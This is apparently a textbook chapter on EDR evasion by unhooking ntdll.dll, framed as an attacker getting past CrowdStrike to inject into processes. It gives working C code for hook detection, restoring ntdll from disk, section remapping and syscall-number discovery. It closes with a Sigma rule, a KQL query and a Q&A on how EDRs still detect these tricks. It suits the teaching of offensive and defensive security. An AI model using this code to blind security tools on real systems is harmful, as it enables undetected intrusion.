Chapter 134

EDR Evasion: Userland Unhooking

How modern EDRs instrument userland via ntdll.dll inline hooks, three practical unhooking techniques (fresh ntdll copy from disk, section remapping, per-function patch restoration), why each works and where each fails, direct syscall as the alternative, and what all of this looks like in EDR telemetry.

Scenario

CrowdStrike Falcon is on the target workstation. Your classic process injection code — VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — is blocked before execution begins. The EDR's user-mode hook on NtAllocateVirtualMemory intercepts the call, sends telemetry to the cloud, and the behavioral engine decides to block it. To execute your injection, you need to remove the hook before calling the sensitive API, or bypass it entirely using a direct syscall. This chapter covers both paths in detail.

How EDR Userland Hooks Work

EDR hook placement on NtAllocateVirtualMemory (ntdll.dll): CLEAN (unhooked) ntdll function stub (5-15 bytes): ntdll.dll:NtAllocateVirtualMemory: 00000001800163A0: 4C 8B D1 mov r10, rcx 00000001800163A3: B8 18 00 00 00 mov eax, 0x18 ← syscall number (SSN) 00000001800163A8: 0F 05 syscall 00000001800163AA: C3 ret HOOKED by EDR: 00000001800163A0: E9 XX XX XX XX jmp +offset ← EDR overwrites first 5 bytes 00000001800163A5: 00 00 00 (rest of original bytes) The JMP redirects to EDR's trampoline in a separately mapped region: EDRtrampoline: inspect parameters (allocate where? how much? what protection?) decide: allow / block / log if allow: call original syscall stub (saved bytes + syscall instruction) if block: return STATUS_ACCESS_DENIED or similar What hooks can intercept: • NtAllocateVirtualMemory (VirtualAlloc / VirtualAllocEx) • NtWriteVirtualMemory (WriteProcessMemory) • NtCreateThreadEx (CreateRemoteThread) • NtOpenProcess (OpenProcess) • NtReadVirtualMemory (ReadProcessMemory) • NtMapViewOfSection (MapViewOfFile) • NtQueueApcThread (QueueUserAPC) • LdrLoadDll (LoadLibrary)

Detecting Hooks at Runtime

// Walk ntdll exports and check first byte of each Nt* function.
// Clean stub starts with 0x4C (mov r10, rcx) or 0xB8 (mov eax, SSN) on x64.
// A hook starts with 0xE9 (JMP) or 0xFF 0x25 (indirect JMP).

typedef struct {
    char    name[64];
    PVOID   addr;
    BYTE    firstByte;
    BOOL    hooked;
} HookInfo;

DWORD DetectNtdllHooks(HookInfo* results, DWORD maxResults) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)ntdll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);

    DWORD* names  = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
    WORD*  ords   = (WORD*) ((BYTE*)ntdll + exp->AddressOfNameOrdinals);
    DWORD* funcs  = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);
    DWORD  count  = 0;

    for (DWORD i = 0; i < exp->NumberOfNames && count < maxResults; i++) {
        const char* name = (const char*)((BYTE*)ntdll + names[i]);
        if (name[0] != 'N' || name[1] != 't') continue; // only Nt* functions

        BYTE* fn = (BYTE*)ntdll + funcs[ords[i]];
        BOOL hooked = (fn[0] == 0xE9 || (fn[0] == 0xFF && fn[1] == 0x25));

        results[count].addr      = fn;
        results[count].firstByte = fn[0];
        results[count].hooked    = hooked;
        strncpy(results[count].name, name, 63);
        count++;
    }
    return count;
}

Fresh ntdll Copy — Full Unhook

// Load a clean copy of ntdll.dll directly from disk (bypassing the in-memory hooked copy).
// Map the clean .text section over the hooked in-memory ntdll .text section.
// Result: all hooks removed — EDR's JMPs overwritten with original clean bytes.

BOOL UnhookNtdllFromDisk() {
    // Get path to ntdll.dll on disk
    wchar_t ntdllPath[MAX_PATH];
    GetSystemDirectoryW(ntdllPath, MAX_PATH);
    wcscat(ntdllPath, L"\\ntdll.dll");

    // Open and map the on-disk file
    HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
                                 NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hMap  = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    PVOID  clean  = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    // Get in-memory (hooked) ntdll
    HMODULE hookedNtdll = GetModuleHandleW(L"ntdll.dll");

    // Find .text section in both images
    PIMAGE_NT_HEADERS ntHdrs = (PIMAGE_NT_HEADERS)(
        (BYTE*)hookedNtdll + ((PIMAGE_DOS_HEADER)hookedNtdll)->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(ntHdrs);

    for (WORD i = 0; i < ntHdrs->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) != 0) continue;

        PVOID hookedText = (BYTE*)hookedNtdll + sec->VirtualAddress;
        PVOID cleanText  = (BYTE*)clean       + sec->PointerToRawData;
        DWORD size       = sec->SizeOfRawData;

        // Make the hooked .text section writable temporarily
        DWORD oldProt;
        VirtualProtect(hookedText, size, PAGE_EXECUTE_READWRITE, &oldProt);
        memcpy(hookedText, cleanText, size);
        VirtualProtect(hookedText, size, oldProt, &oldProt);
        break;
    }

    UnmapViewOfFile(clean);
    CloseHandle(hMap);
    CloseHandle(hFile);
    return TRUE;
}

// After this call: all EDR hooks on ntdll.dll are gone for this process.
// Risk: EDR may detect VirtualProtect(PAGE_EXECUTE_READWRITE) on ntdll .text section
//        and alert on "ntdll memory permission change"
// Better approach: use NtProtectVirtualMemory directly (which may itself be hooked)

Section Remapping Unhook

// More stealthy: create a new section mapped from ntdll on disk,
// then remap the module's virtual address to point to the clean section.
// Avoids VirtualProtect on ntdll .text — uses NtMapViewOfSection instead.

BOOL UnhookViaRemapping() {
    wchar_t ntdllPath[MAX_PATH];
    GetSystemDirectoryW(ntdllPath, MAX_PATH);
    wcscat(ntdllPath, L"\\ntdll.dll");

    HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ,
                                 NULL, OPEN_EXISTING, 0, NULL);
    HANDLE hSection;
    NtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE,
                    NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
    CloseHandle(hFile);

    PVOID   mapBase = NULL;
    SIZE_T  mapSize = 0;
    NtMapViewOfSection(hSection, GetCurrentProcess(), &mapBase,
                       0, 0, NULL, &mapSize, ViewShare, 0, PAGE_EXECUTE_READ);

    // mapBase now holds clean ntdll — copy .text into hooked ntdll
    HMODULE hooked = GetModuleHandleW(L"ntdll.dll");
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
        (BYTE*)hooked + ((PIMAGE_DOS_HEADER)hooked)->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) != 0) continue;
        PVOID hookedText = (BYTE*)hooked   + sec->VirtualAddress;
        PVOID cleanText  = (BYTE*)mapBase  + sec->VirtualAddress; // SEC_IMAGE: RVAs align
        DWORD oldProt;
        NtProtectVirtualMemory(NtCurrentProcess(), &hookedText,
                               &sec->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProt);
        RtlCopyMemory(hookedText, cleanText, sec->Misc.VirtualSize);
        NtProtectVirtualMemory(NtCurrentProcess(), &hookedText,
                               &sec->Misc.VirtualSize, oldProt, &oldProt);
        break;
    }

    NtUnmapViewOfSection(GetCurrentProcess(), mapBase);
    CloseHandle(hSection);
    return TRUE;
}

Direct Syscalls — Skip ntdll Entirely

// Direct syscall: issue the syscall instruction ourselves without going through ntdll.
// Even if ntdll is hooked, our code never touches the hooked stub.
// Covered in ch128 for NtReadVirtualMemory — same pattern applies to all Nt* functions.
//
// Hell's Gate: parse SSN from clean ntdll at load time.
// Halos Gate: handle the case where the target function is already hooked
//             (can't read SSN from first bytes) → scan neighboring Nt* functions.
// Tartarus Gate: handle patched instructions beyond just the first byte.

// SysWhispers3 / RecycledGate: generate per-function syscall stubs at runtime.
// FreshyCalls: sort Nt* functions by address in ntdll — SSN = sort-order index.
//   (Nt* functions are laid out in SSN order in ntdll's .text section)

// FreshyCalls SSN discovery (cleanest, works even when all stubs are hooked):
DWORD GetSSNByPosition(const char* funcName) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    PIMAGE_EXPORT_DIRECTORY exp = GetExportDir(ntdll);
    DWORD* names = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
    DWORD* funcs = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);
    WORD*  ords  = (WORD*) ((BYTE*)ntdll + exp->AddressOfNameOrdinals);

    // Collect all Nt* functions and their RVAs
    SyscallEntry entries[512]; DWORD n = 0;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (const char*)((BYTE*)ntdll + names[i]);
        if (name[0] == 'N' && name[1] == 't') {
            entries[n].rva  = funcs[ords[i]];
            entries[n].name = name;
            n++;
        }
    }
    // Sort by RVA — lower RVA = lower SSN (SSNs are sequential in memory order)
    qsort(entries, n, sizeof(*entries), CompareRVA);

    for (DWORD i = 0; i < n; i++)
        if (strcmp(entries[i].name, funcName) == 0) return i; // position = SSN
    return (DWORD)-1;
}

Detection Engineering — Unhooking Visibility

-- EDR detection of unhooking:

-- 1. ntdll .text section permissions change
--    VirtualProtect / NtProtectVirtualMemory on ntdll with PAGE_EXECUTE_READWRITE
--    is anomalous — legitimate code never needs to write to ntdll

-- 2. ntdll .text content change detection
--    Some EDRs periodically hash ntdll .text section (or specific hook bytes)
--    and alert on unexpected modification

-- 3. Module fingerprint mismatch
--    If EDR maps its own copy of ntdll for comparison: detects section replacement
--    CrowdStrike uses kernel callbacks (not just userland hooks) — unhooking
--    userland is insufficient against kernel-level telemetry

-- 4. Direct syscall: no hook to alert on, BUT
--    Kernel-mode ObRegisterCallbacks and PsSetCreateProcessNotifyRoutine still fire
--    Thread that executes syscall instruction without going through ntdll is anomalous
--    EDR can detect: process allocation not preceded by the expected call stack
--    (CrowdStrike: anomalous call stack → VirtualAllocEx call came from shellcode,
--     not from ntdll's VirtualAllocEx → alert on suspicious call stack origin)

-- Sigma: ntdll module written from unexpected process
title: ntdll Memory Overwrite Attempted
logsource:
  product: windows
  category: process_tampering   # Sysmon Event 25
detection:
  selection:
    EventID: 25
    Image|endswith: '\ntdll.dll'
    Type: 'Image is replaced'
  condition: selection
level: critical

-- MDE KQL: process calling NtProtectVirtualMemory on its own ntdll
DeviceEvents
| where ActionType == "MemoryModified"
| where AdditionalFields has "ntdll.dll"
| where AdditionalFields has_any ("EXECUTE_READWRITE", "0x40")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, AdditionalFields
TechniqueRemoves HooksEDR VisibilityBypasses Kernel Callbacks
Fresh disk copy (overwrite .text)All ntdll hooksVirtualProtect on ntdll .text — high signalNo
Section remappingAll ntdll hooksNtMapViewOfSection + write — medium signalNo
Per-function patch restoreTargeted hooks onlyLower — only touches specific bytesNo
Direct syscalls (Hell's Gate)N/A — bypasses hooksNo hook removal — call stack anomaly detectionNo — kernel callbacks still fire
Kernel driver (remove hook from kernel)Yes + kernel callbacksLowest — kernel-level, hidden from user telemetryYes

Q&A

If direct syscalls bypass userland hooks completely, why do EDRs still detect them?

The core misunderstanding is equating "bypass the hook" with "bypass the EDR." EDR products operate at multiple layers, and userland hooks are only one of them. When a process issues a raw syscall instruction from its own code (rather than going through ntdll's stub), the CPU transitions to kernel mode and the syscall dispatcher runs. Windows kernel has a notification framework that EDRs register with: ObRegisterCallbacks notifies when a process object is opened with sensitive access masks; PsSetCreateProcessNotifyRoutine fires on process creation; PsSetCreateThreadNotifyRoutine fires on thread creation. These callbacks fire regardless of whether the caller went through ntdll or used a raw syscall — the kernel is what invokes the callback, not ntdll. Additionally, CrowdStrike Falcon and SentinelOne implement their own kernel mini-filter drivers that observe I/O operations at the kernel level. The call-stack anomaly detection is also significant: when a function like NtAllocateVirtualMemory is called through ntdll normally, the call stack includes frames in ntdll.dll, the calling application's DLL, and so on. When a direct syscall fires from shellcode or a custom stub, the call stack skips the ntdll frame entirely. EDR products that perform call-stack walking (CrowdStrike does this) can detect "this syscall came from a suspicious address range, not from within ntdll.dll" and generate an alert. Practically, direct syscalls defeat userland-only EDRs and older products, but not mature EDRs that pair userland instrumentation with kernel callbacks and call-stack analysis.